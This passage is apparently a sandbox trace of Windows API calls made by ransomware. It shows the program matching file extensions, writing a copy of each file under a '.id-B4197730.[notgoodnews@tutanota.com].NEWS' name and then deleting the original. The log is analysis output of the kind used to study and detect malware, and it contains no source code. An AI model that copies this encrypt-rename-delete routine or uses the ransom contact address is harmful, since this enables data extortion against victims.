Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.198] lstrlenW (lpString=".doc") returned 4 [0166.198] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0166.198] lstrlenW (lpString=".docx") returned 5 [0166.198] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0166.198] lstrlenW (lpString=".pdf") returned 4 [0166.198] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0166.198] lstrlenW (lpString=".xls") returned 4 [0166.198] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0166.198] lstrlenW (lpString=".xlsx") returned 5 [0166.198] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0166.198] lstrlenW (lpString=".ppt") returned 4 [0166.198] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0166.198] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.198] lstrlenW (lpString=".zip") returned 4 [0166.198] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0166.199] lstrlenW (lpString=".rar") returned 4 [0166.199] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0166.199] lstrlenW (lpString=".bz2") returned 4 [0166.199] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0166.199] lstrlenW (lpString=".7z") returned 3 [0166.199] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0166.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.199] lstrlenW (lpString=".dbf") returned 4 [0166.199] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0166.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.199] lstrlenW (lpString=".1cd") returned 4 [0166.199] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0166.199] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0166.199] lstrlenW (lpString=".jpg") returned 4 [0166.199] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0166.199] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0166.199] lstrlenW (lpString="US_export_policy.jar") returned 20 [0166.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0166.200] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3026) returned 1 [0166.200] CloseHandle (hObject=0x514) returned 1 [0166.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0166.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.200] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0166.201] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.201] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.201] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0166.201] GetLastError () returned 0x0 [0166.201] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0166.203] WriteFile (in: hFile=0x4e8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0166.204] ReadFile (in: hFile=0x514, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.204] WriteFile (in: hFile=0x4e8, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xfc, lpOverlapped=0x0) returned 1 [0166.204] SetEndOfFile (hFile=0x4e8) returned 1 [0166.204] CloseHandle (hObject=0x4e8) returned 1 [0166.204] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.204] SetEndOfFile (hFile=0x514) returned 1 [0166.211] CloseHandle (hObject=0x514) returned 1 [0166.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.211] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0166.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.212] lstrlenW (lpString=".doc") returned 4 [0166.212] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0166.212] lstrlenW (lpString=".docx") returned 5 [0166.212] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0166.212] lstrlenW (lpString=".pdf") returned 4 [0166.212] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0166.212] lstrlenW (lpString=".xls") returned 4 [0166.212] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0166.212] lstrlenW (lpString=".xlsx") returned 5 [0166.212] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0166.212] lstrlenW (lpString=".ppt") returned 4 [0166.212] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0166.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.213] lstrlenW (lpString=".zip") returned 4 [0166.213] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0166.213] lstrlenW (lpString=".rar") returned 4 [0166.213] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0166.213] lstrlenW (lpString=".bz2") returned 4 [0166.213] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0166.213] lstrlenW (lpString=".7z") returned 3 [0166.213] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0166.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.213] lstrlenW (lpString=".dbf") returned 4 [0166.213] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0166.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.213] lstrlenW (lpString=".1cd") returned 4 [0166.213] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0166.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.213] lstrlenW (lpString=".jpg") returned 4 [0166.213] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0166.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.213] lstrlenW (lpString=".doc") returned 4 [0166.213] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0166.213] lstrlenW (lpString=".docx") returned 5 [0166.213] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0166.213] lstrlenW (lpString=".pdf") returned 4 [0166.213] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0166.213] lstrlenW (lpString=".xls") returned 4 [0166.213] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0166.213] lstrlenW (lpString=".xlsx") returned 5 [0166.213] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0166.424] lstrlenW (lpString=".ppt") returned 4 [0166.424] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0166.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.425] lstrlenW (lpString=".zip") returned 4 [0166.425] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0166.425] lstrlenW (lpString=".rar") returned 4 [0166.425] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0166.427] lstrlenW (lpString=".bz2") returned 4 [0166.427] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0166.427] lstrlenW (lpString=".7z") returned 3 [0166.427] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0166.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.428] lstrlenW (lpString=".dbf") returned 4 [0166.428] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0166.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.429] lstrlenW (lpString=".1cd") returned 4 [0166.429] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0166.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0166.429] lstrlenW (lpString=".jpg") returned 4 [0166.430] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0166.431] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.432] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0166.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0166.481] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=18624) returned 1 [0166.481] CloseHandle (hObject=0x548) returned 1 [0166.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0166.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString=".doc") returned 4 [0166.483] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString=".docx") returned 5 [0166.483] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.483] lstrlenW (lpString=".pdf") returned 4 [0166.483] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString=".xls") returned 4 [0166.483] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString=".xlsx") returned 5 [0166.483] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.483] lstrlenW (lpString=".ppt") returned 4 [0166.483] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString=".zip") returned 4 [0166.483] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString=".rar") returned 4 [0166.483] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString=".bz2") returned 4 [0166.483] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.483] lstrlenW (lpString=".7z") returned 3 [0166.483] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString=".dbf") returned 4 [0166.483] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString=".1cd") returned 4 [0166.483] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString=".jpg") returned 4 [0166.483] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.484] lstrlenW (lpString=".doc") returned 4 [0166.484] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.484] lstrlenW (lpString=".docx") returned 5 [0166.484] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.484] lstrlenW (lpString=".pdf") returned 4 [0166.484] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.484] lstrlenW (lpString=".xls") returned 4 [0166.484] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.484] lstrlenW (lpString=".xlsx") returned 5 [0166.484] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.484] lstrlenW (lpString=".ppt") returned 4 [0166.484] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.484] lstrlenW (lpString=".zip") returned 4 [0166.484] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.484] lstrlenW (lpString=".rar") returned 4 [0166.484] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.484] lstrlenW (lpString=".bz2") returned 4 [0166.484] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.484] lstrlenW (lpString=".7z") returned 3 [0166.484] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.484] lstrlenW (lpString=".dbf") returned 4 [0166.484] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.484] lstrlenW (lpString=".1cd") returned 4 [0166.484] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0166.484] lstrlenW (lpString=".jpg") returned 4 [0166.484] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.484] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.485] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0166.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0166.485] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=21184) returned 1 [0166.485] CloseHandle (hObject=0x548) returned 1 [0166.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0166.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.486] lstrlenW (lpString=".doc") returned 4 [0166.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.486] lstrlenW (lpString=".docx") returned 5 [0166.486] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.486] lstrlenW (lpString=".pdf") returned 4 [0166.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.486] lstrlenW (lpString=".xls") returned 4 [0166.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.486] lstrlenW (lpString=".xlsx") returned 5 [0166.486] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.486] lstrlenW (lpString=".ppt") returned 4 [0166.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.486] lstrlenW (lpString=".zip") returned 4 [0166.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.486] lstrlenW (lpString=".rar") returned 4 [0166.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.486] lstrlenW (lpString=".bz2") returned 4 [0166.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.486] lstrlenW (lpString=".7z") returned 3 [0166.489] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.490] lstrlenW (lpString=".dbf") returned 4 [0166.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.490] lstrlenW (lpString=".1cd") returned 4 [0166.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.490] lstrlenW (lpString=".jpg") returned 4 [0166.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.490] lstrlenW (lpString=".doc") returned 4 [0166.490] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.491] lstrlenW (lpString=".docx") returned 5 [0166.491] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.491] lstrlenW (lpString=".pdf") returned 4 [0166.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.491] lstrlenW (lpString=".xls") returned 4 [0166.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.491] lstrlenW (lpString=".xlsx") returned 5 [0166.491] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.491] lstrlenW (lpString=".ppt") returned 4 [0166.491] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.491] lstrlenW (lpString=".zip") returned 4 [0166.491] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.491] lstrlenW (lpString=".rar") returned 4 [0166.491] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.491] lstrlenW (lpString=".bz2") returned 4 [0166.491] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.491] lstrlenW (lpString=".7z") returned 3 [0166.491] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.491] lstrlenW (lpString=".dbf") returned 4 [0166.491] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.491] lstrlenW (lpString=".1cd") returned 4 [0166.491] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0166.491] lstrlenW (lpString=".jpg") returned 4 [0166.491] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.491] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.491] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0166.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0166.493] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19136) returned 1 [0166.493] CloseHandle (hObject=0x548) returned 1 [0166.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0166.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.494] lstrlenW (lpString=".doc") returned 4 [0166.494] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.494] lstrlenW (lpString=".docx") returned 5 [0166.494] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0166.494] lstrlenW (lpString=".pdf") returned 4 [0166.494] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.494] lstrlenW (lpString=".xls") returned 4 [0166.494] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.494] lstrlenW (lpString=".xlsx") returned 5 [0166.495] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0166.495] lstrlenW (lpString=".ppt") returned 4 [0166.495] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.495] lstrlenW (lpString=".zip") returned 4 [0166.495] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.495] lstrlenW (lpString=".rar") returned 4 [0166.495] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.495] lstrlenW (lpString=".bz2") returned 4 [0166.495] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.495] lstrlenW (lpString=".7z") returned 3 [0166.495] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.495] lstrlenW (lpString=".dbf") returned 4 [0166.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.495] lstrlenW (lpString=".1cd") returned 4 [0166.495] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0166.495] lstrlenW (lpString=".jpg") returned 4 [0166.496] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.496] lstrlenW (lpString="C:\\Program Files\\Microsoft 